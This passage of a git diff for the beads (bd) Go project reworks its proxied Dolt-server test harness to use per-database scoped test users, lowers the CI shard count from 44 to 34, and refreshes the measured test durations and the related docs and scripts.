BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count @@ -1501,7 +1501,7 @@ sh_test( # 192-core worker). "GOMAXPROCS": "4", }, - shard_count = 44, + shard_count = 34, tags = ["dolt-server-proxied"], ) diff --git a/cmd/bd/dolt_remote_remove_proxied_integration_test.go b/cmd/bd/dolt_remote_remove_proxied_integration_test.go index 77fb06592..ca589fbb4 100644 --- a/cmd/bd/dolt_remote_remove_proxied_integration_test.go +++ b/cmd/bd/dolt_remote_remove_proxied_integration_test.go @@ -36,7 +36,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("removes_existing_remote", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr1") + p := newSharedProxiedRootProject(t, bd, "prr1") seedRemote(t, p, "backup", "https://doltremoteapi.dolthub.com/org/backup") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "backup") @@ -53,7 +53,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("json_output", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr2") + p := newSharedProxiedRootProject(t, bd, "prr2") seedRemote(t, p, "backup", "https://doltremoteapi.dolthub.com/org/backup") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "--json", "backup") @@ -82,7 +82,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("nonexistent_remote_errors", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr3") + p := newSharedProxiedRootProject(t, bd, "prr3") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "ghost") if err == nil { t.Fatalf("expected error removing nonexistent remote, got:\n%s", out) diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index 8941651af..2a6f33ea2 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -357,7 +357,7 @@ func TestProxiedServerHistoryRemoteSupportedFrontDoorParity(t *testing.T) { }}, {"external-tcp", func(t *testing.T) proxiedProject { requireProxiedServerEnv(t) - return newSharedProxiedProject(t, bd, "hs_tcp") + return newSharedProxiedRootProject(t, bd, "hs_tcp") }}, } { t.Run(tc.name, func(t *testing.T) { diff --git a/cmd/bd/maintenance_commands_proxied_integration_test.go b/cmd/bd/maintenance_commands_proxied_integration_test.go index 68fa7d3bf..549d8d2a3 100644 --- a/cmd/bd/maintenance_commands_proxied_integration_test.go +++ b/cmd/bd/maintenance_commands_proxied_integration_test.go @@ -183,7 +183,7 @@ func TestProxiedServerCompactHistory(t *testing.T) { requireSharedProxiedServer(t) t.Parallel() bd := buildEmbeddedBD(t) - p := newSharedProxiedProject(t, bd, "cphist") + p := newSharedProxiedRootProject(t, bd, "cphist") for _, title := range []string{"keep-alpha", "keep-beta", "keep-gamma"} { bdProxiedCreate(t, bd, p.dir, title, "--type", "task") diff --git a/cmd/bd/proxied_shared_harness_test.go b/cmd/bd/proxied_shared_harness_test.go index cbaf3c5dd..2d34fbfee 100644 --- a/cmd/bd/proxied_shared_harness_test.go +++ b/cmd/bd/proxied_shared_harness_test.go @@ -3,13 +3,17 @@ package main import ( + "context" + "database/sql" "fmt" "os" "strconv" "sync" "sync/atomic" "testing" + "time" + "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/testutil" ) @@ -55,22 +59,88 @@ func uniqueProxiedDatabase() string { return fmt.Sprintf("bdtest_%d", sharedProxiedDBSeq.Add(1)) } -func sharedProxiedInitArgs(t *testing.T, extraInitArgs ...string) (string, []string) { +// sharedProxiedCredential is who a shared-server project's `bd init` (and so +// its proxy) connects to the shard's dolt sql-server as. +type sharedProxiedCredential int + +const ( + // sharedProxiedScopedUser: the default. The database is provisioned + // server-side and the project connects as a user that can see only it + // (see provisionSharedProxiedDatabase). + sharedProxiedScopedUser sharedProxiedCredential = iota + // sharedProxiedRoot: the project connects as root and `bd init` creates + // the database itself. Only for tests that need a server-wide privilege + // (CALL DOLT_REMOTE, creating another database); each such init pays for + // every database on the server. + sharedProxiedRoot +) + +func sharedProxiedInitArgs(t *testing.T, cred sharedProxiedCredential, extraInitArgs ...string) (string, []string) { t.Helper() port := requireSharedProxiedServer(t) database := uniqueProxiedDatabase() - args := append([]string{ + args := []string{ "--database", database, "--proxied-server-external-host", "127.0.0.1", "--proxied-server-external-port", strconv.Itoa(port), - }, extraInitArgs...) - return database, args + } + if cred == sharedProxiedScopedUser { + provisionSharedProxiedDatabase(t, port, database) + args = append(args, "--proxied-server-external-user", database) + } + return database, append(args, extraInitArgs...) +} + +// provisionSharedProxiedDatabase provisions database on the shard's shared +// dolt sql-server the way a server that provisions databases server-side +// does: root creates the empty database and a passwordless user of the same +// name with ALL on it and nothing else, and the project connects as that user +// (--proxied-server-external-user). +// +// The scoping is what keeps a shard's inits from slowing each other down. +// Dolt answers an INFORMATION_SCHEMA query by walking every database the +// session can see, and `bd init`'s migration chain issues ~220 of them, so as +// root each init cost the server ~1.2 CPU-seconds more per database already on +// it: a shard's k-th init paid for the k-1 projects before it. A user that can +// see one database pays for one. Dropping finished projects' databases instead +// is not an option: a DROP DATABASE fails other sessions' in-flight +// INFORMATION_SCHEMA queries ("no root value found in session"). +func provisionSharedProxiedDatabase(t *testing.T, port int, database string) { + t.Helper() + dsn := doltutil.ServerDSN{Host: "127.0.0.1", Port: port, User: "root"}.String() + db, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("provisioning %s: opening the shared server: %v", database, err) + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + // database is uniqueProxiedDatabase's bdtest_: safe to splice. + for _, stmt := range []string{ + fmt.Sprintf("CREATE DATABASE `%s`", database), + fmt.Sprintf("CREATE USER '%s'@'%%'", database), + fmt.Sprintf("GRANT ALL ON `%s`.* TO '%s'@'%%'", database, database), + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("provisioning %s: %s: %v", database, stmt, err) + } + } } func newSharedProxiedProject(t *testing.T, bd, prefix string, extraInitArgs ...string) proxiedProject { t.Helper() - database, args := sharedProxiedInitArgs(t, extraInitArgs...) + database, args := sharedProxiedInitArgs(t, sharedProxiedScopedUser, extraInitArgs...) + p := bdProxiedInit(t, bd, prefix, args...) + p.database = database + return p +} + +// newSharedProxiedRootProject is newSharedProxiedProject connecting as root +// (sharedProxiedRoot), for a test that needs a server-wide privilege. +func newSharedProxiedRootProject(t *testing.T, bd, prefix string, extraInitArgs ...string) proxiedProject { + t.Helper() + database, args := sharedProxiedInitArgs(t, sharedProxiedRoot, extraInitArgs...) p := bdProxiedInit(t, bd, prefix, args...) p.database = database return p @@ -78,7 +148,7 @@ func newSharedProxiedProject(t *testing.T, bd, prefix string, extraInitArgs ...s func newSharedProxiedProjectWithHooks(t *testing.T, bd, prefix string, hooks map[string]string, extraInitArgs ...string) proxiedProject { t.Helper() - database, args := sharedProxiedInitArgs(t, extraInitArgs...) + database, args := sharedProxiedInitArgs(t, sharedProxiedScopedUser, extraInitArgs...) p := bdProxiedInitWithHooks(t, bd, prefix, hooks, args...) p.database = database return p diff --git a/cmd/bd/sql_multistatement_proxied_integration_test.go b/cmd/bd/sql_multistatement_proxied_integration_test.go index 0f5736a3b..54eccfe63 100644 --- a/cmd/bd/sql_multistatement_proxied_integration_test.go +++ b/cmd/bd/sql_multistatement_proxied_integration_test.go @@ -79,7 +79,7 @@ func TestProxiedServerMultiStatementSQL(t *testing.T) { func TestProxiedServerSQLDatabaseFlag(t *testing.T) { bd := buildEmbeddedBD(t) - p := newSharedProxiedProject(t, bd, "df") + p := newSharedProxiedRootProject(t, bd, "df") // Stand up a second database with a table, alongside the project database. // The server is shared, so the name derives from the project's unique one. diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 93ec7f4cd..68b9aeee6 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), - `//cmd/bd:bd_proxied_test` (44; the frozen 15-shard block was + `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 2f293a23b..65f838f42 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -42,7 +42,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | -| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 44 shards, each with a Dolt server. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 34 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | @@ -184,7 +184,7 @@ builds with the integration tag like `--config=integration`. Each shard runs its CI job's shard script, so for `--config=doltserver-integration` Bazel shard k runs the tests of job k+1 (both split the manifest's 16-shard block the same way). `--config=doltserver-proxied`'s `bd_proxied_test` instead -runs the manifest's own 44-shard block — bin-packed by measured duration, +runs the manifest's own 34-shard block — bin-packed by measured duration, not the legacy jobs' 15-shard, bd-init-cost-proxy block — so shard k there is not job k+1's tests; it is a different split of the same tests. diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index 0a099e0f9..ecac80c89 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -56,7 +56,7 @@ name coverage. The manifest file holds more than one block (one per total_shards value in use): the legacy, frozen 15-shard block pr-risk.yml/main.yml's jobs read, and -the Bazel-only lane's own block (44 shards since 2026-10-09). By default this prints +the Bazel-only lane's own block (34 shards since 2026-10-09). By default this prints only the requested total's block to stdout, which is NOT safe to redirect straight into the manifest file (`gen... 30 > file` deletes every other block). Use --write to update the file in place instead: it replaces only @@ -81,6 +81,9 @@ import sys default_manifest_path = '.github/scripts/proxied-cmd-test-shards.txt' func_re = re.compile(r'^func (Test(?:ProxiedServer|ServerMode)[A-Za-z0-9_]+)\(') +# A shared-server bd init: newSharedProxiedProject(WithHooks) or the root +# variant, newSharedProxiedRootProject. +shared_init_re = re.compile(r'newSharedProxied(?:Root)?Project') def discover_inits_cost(): @@ -98,7 +101,7 @@ def discover_inits_cost(): elif ln.startswith('func '): cur = None if cur: - costs[cur] += ln.count('newSharedProxiedProject') + costs[cur] += len(shared_init_re.findall(ln)) for k in costs: costs[k] = max(costs[k], 1) return costs diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 27297aae8..fa22729c8 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -3,35 +3,34 @@ "Measured on rbe-west, the lane's own remote executors (instance oss), on", "2026-10-09: two `bazel test //cmd/bd:bd_proxied_test", "--config=doltserver-proxied --nocache_test_results` runs, one against the", - "then-committed 30-shard block and one against a 40-shard repack, so every", - "discovered test ran exactly once per run, with the lane's -test.parallel=4", - "and GOMAXPROCS=4. Both passed.", + "then-committed 44-shard block and one against a 20-shard repack, both", + "with the shared harness's database-scoped users", + "(cmd/bd/proxied_shared_harness_test.go), so every discovered test ran", + "exactly once per run, with the lane's -test.parallel=4 and GOMAXPROCS=4.", + "Both passed.", "", "Each value is a top-level test's serial-equivalent cost: the sum of the", " of every leaf test under it (a subtest with no subtests of", "its own; the test itself when it has none), each leaf averaged over the", - "two runs. It is NOT , which the previous (local) capture", - "used: for a t.Parallel test that attribute runs from the test's first RUN", - "line to its last PASS line, so it also counts the time the test sat paused", - "behind its shard's other tests. That made a cheap test that happened to", - "wait look as heavy as the shard, which is why the previous 30-shard block,", - "packed to ~360s per shard on paper, ran 38-286s per shard in CI. Leaves,", - "not direct subtests, because a parallel group's own is 0.", + "two runs. It is NOT : for a t.Parallel test that", + "attribute runs from the test's first RUN line to its last PASS line, so it", + "also counts the time the test sat paused behind its shard's other tests.", + "Leaves, not direct subtests, because a parallel group's own is 0.", "", - "A shard's remote wall time came out at about 0.3x its packed cost (four", - "subtests run at once): correlation 0.90 over the 30-shard run (19,224", - "cost-seconds, 5,671 shard-seconds of wall time); the 40-shard run's", - "shards ran 71-162s, apart from one that held two then-unsplit tests whose", - "cost the first capture had missed.", + "Nearly all of a test's cost is `bd init --proxied-server` against the", + "shard's dolt sql-server, ~one per subtest. Before the scoped users each", + "init also paid for every database already on the server (Dolt walks every", + "database the session can see for each of the ~220 INFORMATION_SCHEMA", + "queries in the migration chain), so a test's cost depended on how many", + "projects its shard had created before it; the previous capture totalled", + "19,618 cost-seconds over the same tests, this one 6,345.", "", - "The cost is almost all `bd init --proxied-server` against the shared dolt", - "sql-server: each init issues ~2,000 statements (81 DOLT_COMMITs) and costs", - "the server ~6-12 CPU-seconds, and most subtests run one init. A top-level", - "test with ~20 single-init subtests therefore cost 600-920 and ran for up", - "to ~350s alone, which no shard count can pack under that. The fifteen", - "heaviest were split into two or three top-level functions", - "(TestProxiedServerUpdate, -UpdateB, -UpdateC, ...); a split function's", - "entry is the sum of the leaves it now holds.", + "A shard's remote wall time came out at about 0.33x its packed cost (four", + "subtests run at once), with a wide spread between equally packed shards:", + "a 20-shard repack (~335 per shard) ran median 113s, max 136s; a 28-shard", + "repack (~227) ran median 78s, max 113s in PR CI. Size the shard count for", + "the slowest shard, not the median.", "", "`seconds_per_init_fallback` is the sum of all costs over the sum of all", "inits (discover_inits_cost()), used only for a test with no entry yet.", @@ -40,215 +39,215 @@ "top-level test's leaf s from every shard's", "bazel-testlogs/cmd/bd/bd_proxied_test/shard_*/test.xml." ], - "seconds_per_init_fallback": 29.5374, + "seconds_per_init_fallback": 9.9294, "tests": { - "TestProxiedServerAssign": 55.49, - "TestProxiedServerAutoPrune": 6.71, - "TestProxiedServerBackupRefusedOnExternalTopology": 0.45, - "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 10.13, - "TestProxiedServerBatchParity": 64.1, - "TestProxiedServerBlocked": 49.25, - "TestProxiedServerCascadeParity": 167.07, - "TestProxiedServerChildren": 12.43, - "TestProxiedServerCleanDatabases": 1.02, - "TestProxiedServerCleanDatabasesPurgeDropped": 2.23, - "TestProxiedServerClose": 223.82, - "TestProxiedServerClose2": 379.25, - "TestProxiedServerClose2B": 372.47, - "TestProxiedServerClose3": 253.62, - "TestProxiedServerClose4": 236.01, - "TestProxiedServerCloseB": 199.51, - "TestProxiedServerCloseBeadGate": 85.6, - "TestProxiedServerCloseConcurrent": 39.05, - "TestProxiedServerCloseSiblingBlockersFanIn": 45.72, - "TestProxiedServerComment": 101.7, - "TestProxiedServerCompactDolt": 0.15, - "TestProxiedServerCompactHistory": 2.27, - "TestProxiedServerConfig": 281.3, - "TestProxiedServerConfigB": 221.92, - "TestProxiedServerConfigConcurrent": 21.07, - "TestProxiedServerConfigSetMany": 56.32, - "TestProxiedServerContext": 30.68, - "TestProxiedServerCount": 29.54, - "TestProxiedServerCountIncludeInfra": 7.0, - "TestProxiedServerCreate": 35.39, - "TestProxiedServerCreate2": 313.1, - "TestProxiedServerCreate2B": 266.11, - "TestProxiedServerCreate2C": 115.17, - "TestProxiedServerCreateInfraTypeRoutesToWisps": 54.19, - "TestProxiedServerDeferAutoWake": 10.55, - "TestProxiedServerDeferUndefer": 23.62, - "TestProxiedServerDelete": 30.3, - "TestProxiedServerDeleteBlockedJSONSingleDoc": 16.89, - "TestProxiedServerDeleteConcurrent": 19.41, - "TestProxiedServerDeleteForceOrphans": 34.51, - "TestProxiedServerDeleteWisp": 4.98, - "TestProxiedServerDep": 265.67, - "TestProxiedServerDep2": 421.17, - "TestProxiedServerDep2B": 245.92, - "TestProxiedServerDep2C": 287.95, - "TestProxiedServerDepB": 252.49, - "TestProxiedServerDepConcurrent": 29.34, - "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 23.65, - "TestProxiedServerDoltLifecycle": 0.19, - "TestProxiedServerDoltRemoteRemove": 79.1, - "TestProxiedServerDuplicates": 76.36, - "TestProxiedServerEdit": 19.49, - "TestProxiedServerEpic": 47.73, - "TestProxiedServerEventsJournal": 6.01, - "TestProxiedServerEventsJournalOffByDefault": 5.45, - "TestProxiedServerExport": 18.56, - "TestProxiedServerExternalCreate": 5.6, - "TestProxiedServerExternalMutationPolicy": 15.57, - "TestProxiedServerExternalPolicyDirectParity": 8.37, - "TestProxiedServerFindDuplicates": 51.33, - "TestProxiedServerGC": 5.82, - "TestProxiedServerGateCheck": 171.29, - "TestProxiedServerGateCheckB": 205.0, - "TestProxiedServerGateCreateInheritsRepoMetadata": 4.94, - "TestProxiedServerGateFrontDoorDirectServerProxyParity": 22.23, - "TestProxiedServerGateLifecycle": 124.1, - "TestProxiedServerGateList": 48.97, - "TestProxiedServerGatedRendering": 9.09, - "TestProxiedServerGraph": 8.3, - "TestProxiedServerHeartbeat": 11.7, - "TestProxiedServerHistory": 7.88, - "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 26.2, - "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.58, - "TestProxiedServerHuman": 358.37, - "TestProxiedServerIfRevisionGuardAssign": 0.66, - "TestProxiedServerIfRevisionGuardClose": 0.82, - "TestProxiedServerIfRevisionGuardDelete": 0.81, - "TestProxiedServerIfRevisionGuardReopen": 1.48, - "TestProxiedServerIfRevisionGuardUpdate": 0.65, - "TestProxiedServerImport": 288.64, - "TestProxiedServerInfo": 6.0, - "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 12.59, - "TestProxiedServerInitIfMissing": 0.45, - "TestProxiedServerKV": 340.45, - "TestProxiedServerLabel": 298.09, - "TestProxiedServerLabelB": 234.22, - "TestProxiedServerLabelC": 271.95, - "TestProxiedServerLink": 62.35, - "TestProxiedServerLint": 6.67, - "TestProxiedServerList": 131.93, - "TestProxiedServerListComments": 1.97, - "TestProxiedServerListSortRetiresTheWalk": 0.23, - "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.83, - "TestProxiedServerMemory": 90.84, - "TestProxiedServerMolBond": 267.25, - "TestProxiedServerMolBurn": 135.47, - "TestProxiedServerMolCurrent": 177.89, - "TestProxiedServerMolDistill": 55.5, - "TestProxiedServerMolLastActivity": 52.81, - "TestProxiedServerMolProgress": 41.09, - "TestProxiedServerMolReadyGated": 202.08, - "TestProxiedServerMolShow": 83.77, - "TestProxiedServerMolSquash": 73.31, - "TestProxiedServerMolStale": 52.8, - "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 2.14, - "TestProxiedServerMoleculeFrontDoorWriteParity": 21.32, - "TestProxiedServerMultiStatementSQL": 7.5, - "TestProxiedServerNote": 21.92, - "TestProxiedServerOrphans": 4.25, - "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.22, + "TestProxiedServerAssign": 16.45, + "TestProxiedServerAutoPrune": 8.6, + "TestProxiedServerBackupRefusedOnExternalTopology": 0.38, + "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 8.01, + "TestProxiedServerBatchParity": 30.55, + "TestProxiedServerBlocked": 29.31, + "TestProxiedServerCascadeParity": 48.81, + "TestProxiedServerChildren": 9.53, + "TestProxiedServerCleanDatabases": 0.81, + "TestProxiedServerCleanDatabasesPurgeDropped": 2.22, + "TestProxiedServerClose": 68.94, + "TestProxiedServerClose2": 104.58, + "TestProxiedServerClose2B": 113.92, + "TestProxiedServerClose3": 50.47, + "TestProxiedServerClose4": 69.47, + "TestProxiedServerCloseB": 48.63, + "TestProxiedServerCloseBeadGate": 16.14, + "TestProxiedServerCloseConcurrent": 36.83, + "TestProxiedServerCloseSiblingBlockersFanIn": 25.27, + "TestProxiedServerComment": 24.83, + "TestProxiedServerCompactDolt": 0.2, + "TestProxiedServerCompactHistory": 1.86, + "TestProxiedServerConfig": 85.93, + "TestProxiedServerConfigB": 67.56, + "TestProxiedServerConfigConcurrent": 14.05, + "TestProxiedServerConfigSetMany": 12.34, + "TestProxiedServerContext": 9.81, + "TestProxiedServerCount": 8.05, + "TestProxiedServerCountIncludeInfra": 3.19, + "TestProxiedServerCreate": 22.17, + "TestProxiedServerCreate2": 94.47, + "TestProxiedServerCreate2B": 98.11, + "TestProxiedServerCreate2C": 70.34, + "TestProxiedServerCreateInfraTypeRoutesToWisps": 22.11, + "TestProxiedServerDeferAutoWake": 3.47, + "TestProxiedServerDeferUndefer": 9.21, + "TestProxiedServerDelete": 10.21, + "TestProxiedServerDeleteBlockedJSONSingleDoc": 9.34, + "TestProxiedServerDeleteConcurrent": 11.56, + "TestProxiedServerDeleteForceOrphans": 6.2, + "TestProxiedServerDeleteWisp": 4.71, + "TestProxiedServerDep": 91.86, + "TestProxiedServerDep2": 131.93, + "TestProxiedServerDep2B": 57.41, + "TestProxiedServerDep2C": 75.41, + "TestProxiedServerDepB": 67.92, + "TestProxiedServerDepConcurrent": 19.74, + "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 8.32, + "TestProxiedServerDoltLifecycle": 0.13, + "TestProxiedServerDoltRemoteRemove": 90.8, + "TestProxiedServerDuplicates": 22.36, + "TestProxiedServerEdit": 9.97, + "TestProxiedServerEpic": 8.17, + "TestProxiedServerEventsJournal": 4.62, + "TestProxiedServerEventsJournalOffByDefault": 5.95, + "TestProxiedServerExport": 14.47, + "TestProxiedServerExternalCreate": 4.62, + "TestProxiedServerExternalMutationPolicy": 8.86, + "TestProxiedServerExternalPolicyDirectParity": 6.31, + "TestProxiedServerFindDuplicates": 22.0, + "TestProxiedServerGC": 2.77, + "TestProxiedServerGateCheck": 38.27, + "TestProxiedServerGateCheckB": 41.55, + "TestProxiedServerGateCreateInheritsRepoMetadata": 2.72, + "TestProxiedServerGateFrontDoorDirectServerProxyParity": 17.87, + "TestProxiedServerGateLifecycle": 40.73, + "TestProxiedServerGateList": 20.14, + "TestProxiedServerGatedRendering": 4.95, + "TestProxiedServerGraph": 4.6, + "TestProxiedServerHeartbeat": 4.61, + "TestProxiedServerHistory": 3.5, + "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 21.43, + "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 6.74, + "TestProxiedServerHuman": 79.25, + "TestProxiedServerIfRevisionGuardAssign": 0.47, + "TestProxiedServerIfRevisionGuardClose": 0.67, + "TestProxiedServerIfRevisionGuardDelete": 0.59, + "TestProxiedServerIfRevisionGuardReopen": 1.39, + "TestProxiedServerIfRevisionGuardUpdate": 0.79, + "TestProxiedServerImport": 92.69, + "TestProxiedServerInfo": 2.71, + "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 9.07, + "TestProxiedServerInitIfMissing": 0.39, + "TestProxiedServerKV": 91.89, + "TestProxiedServerLabel": 75.59, + "TestProxiedServerLabelB": 60.23, + "TestProxiedServerLabelC": 105.9, + "TestProxiedServerLink": 26.12, + "TestProxiedServerLint": 2.66, + "TestProxiedServerList": 35.23, + "TestProxiedServerListComments": 0.81, + "TestProxiedServerListSortRetiresTheWalk": 0.08, + "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.44, + "TestProxiedServerMemory": 26.25, + "TestProxiedServerMolBond": 72.46, + "TestProxiedServerMolBurn": 29.07, + "TestProxiedServerMolCurrent": 89.43, + "TestProxiedServerMolDistill": 23.19, + "TestProxiedServerMolLastActivity": 35.41, + "TestProxiedServerMolProgress": 34.63, + "TestProxiedServerMolReadyGated": 93.82, + "TestProxiedServerMolShow": 24.26, + "TestProxiedServerMolSquash": 45.59, + "TestProxiedServerMolStale": 36.09, + "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 1.62, + "TestProxiedServerMoleculeFrontDoorWriteParity": 23.11, + "TestProxiedServerMultiStatementSQL": 5.6, + "TestProxiedServerNote": 9.88, + "TestProxiedServerOrphans": 1.81, + "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.12, "TestProxiedServerPathHelpers": 0.0, - "TestProxiedServerPing": 0.76, - "TestProxiedServerPour": 90.63, - "TestProxiedServerPourRejectsEnumViolatingVar": 16.32, - "TestProxiedServerPrime": 120.62, - "TestProxiedServerPriority": 29.69, - "TestProxiedServerPromote": 137.81, - "TestProxiedServerPrune": 229.41, - "TestProxiedServerPurgeWispsPlaneRetention": 27.89, - "TestProxiedServerQuery": 32.83, - "TestProxiedServerQuick": 32.66, - "TestProxiedServerReady": 237.31, - "TestProxiedServerReady2": 159.52, - "TestProxiedServerReadyB": 279.25, - "TestProxiedServerReadyC": 232.74, - "TestProxiedServerReadyClaimConcurrent": 21.86, - "TestProxiedServerReadyConcurrent": 14.36, - "TestProxiedServerReadyWisp": 315.55, - "TestProxiedServerReassignFence": 92.12, - "TestProxiedServerReclaim": 1.41, - "TestProxiedServerRecomputeBlocked": 69.58, - "TestProxiedServerRelate": 174.16, - "TestProxiedServerReopen": 317.88, - "TestProxiedServerReopenB": 283.24, - "TestProxiedServerReopenConcurrent": 100.49, - "TestProxiedServerSQL": 4.56, - "TestProxiedServerSQLDatabaseFlag": 14.98, - "TestProxiedServerSQLStatementRouting": 2.61, - "TestProxiedServerSearch": 79.86, - "TestProxiedServerServeActivatesTheEventsJournal": 10.7, - "TestProxiedServerServeAddComment": 3.85, - "TestProxiedServerServeAddDependencies": 7.7, - "TestProxiedServerServeBatchClose": 14.42, - "TestProxiedServerServeClaim": 13.9, - "TestProxiedServerServeClaimNext": 12.27, - "TestProxiedServerServeClose": 21.8, - "TestProxiedServerServeCount": 15.2, - "TestProxiedServerServeCreate": 2.62, - "TestProxiedServerServeDelete": 5.64, - "TestProxiedServerServeEdgeCounts": 15.27, - "TestProxiedServerServeLifecycle": 0.03, - "TestProxiedServerServeModeGate": 23.75, - "TestProxiedServerServeReadParity": 6.26, - "TestProxiedServerServeReadRevision": 3.59, - "TestProxiedServerServeReadsTheJournalItJustWrote": 14.23, - "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 14.62, - "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 14.96, - "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 13.62, - "TestProxiedServerServeRelatedIssues": 14.9, - "TestProxiedServerServeRelease": 4.5, - "TestProxiedServerServeRemoveDependency": 5.12, - "TestProxiedServerServeSettingsWrites": 5.08, - "TestProxiedServerServeStreamsTheJournalItIsWriting": 21.99, - "TestProxiedServerServeUpdate": 14.38, - "TestProxiedServerServeUpdateClaim": 4.97, - "TestProxiedServerSetState": 14.99, - "TestProxiedServerShow": 246.84, - "TestProxiedServerShow2": 304.16, - "TestProxiedServerShow2B": 302.98, - "TestProxiedServerShow3": 276.05, - "TestProxiedServerShow3B": 261.07, - "TestProxiedServerShowB": 297.04, - "TestProxiedServerShowWatch": 164.7, - "TestProxiedServerStale": 6.27, - "TestProxiedServerState": 189.5, - "TestProxiedServerStatus": 40.45, - "TestProxiedServerStatuses": 2.26, - "TestProxiedServerStorageClass": 337.81, - "TestProxiedServerSwarm": 8.38, - "TestProxiedServerTag": 55.84, - "TestProxiedServerTodo": 96.61, - "TestProxiedServerTypes": 4.25, - "TestProxiedServerTypesAgreeWithCreate": 37.25, - "TestProxiedServerUnclaim": 16.93, - "TestProxiedServerUnclaimIfAssigneeParity": 35.25, - "TestProxiedServerUpdate": 306.84, - "TestProxiedServerUpdate2": 285.3, - "TestProxiedServerUpdate2B": 321.6, - "TestProxiedServerUpdate2C": 247.7, - "TestProxiedServerUpdate3": 375.23, - "TestProxiedServerUpdateB": 265.81, - "TestProxiedServerUpdateC": 265.62, - "TestProxiedServerUpdateClosePolicy": 82.95, - "TestProxiedServerUpdateConcurrentAppendNotes": 7.13, - "TestProxiedServerUpdateConcurrentClaim": 12.38, - "TestProxiedServerUpdateConcurrentMetadata": 11.36, - "TestProxiedServerUpdateHooks": 52.36, - "TestProxiedServerUpdateIfGuards": 83.41, - "TestProxiedServerUpdateWisp": 268.08, - "TestProxiedServerWispCreate": 78.86, - "TestProxiedServerWispCreateRejectsEnumViolatingVar": 13.68, - "TestProxiedServerWispGC": 164.43, - "TestProxiedServerWispList": 65.42, - "TestServerModeDeferAutoWake": 11.69, - "TestServerModeServe": 0.04, - "TestServerModeServeSkipsPostRunMaintenance": 13.74, - "TestServerModeSharedServeGlobalReportsTheServedDatabase": 34.13, - "TestServerModeTypesAgreeWithCreate": 36.55 + "TestProxiedServerPing": 0.27, + "TestProxiedServerPour": 42.98, + "TestProxiedServerPourRejectsEnumViolatingVar": 10.18, + "TestProxiedServerPrime": 49.46, + "TestProxiedServerPriority": 8.17, + "TestProxiedServerPromote": 24.66, + "TestProxiedServerPrune": 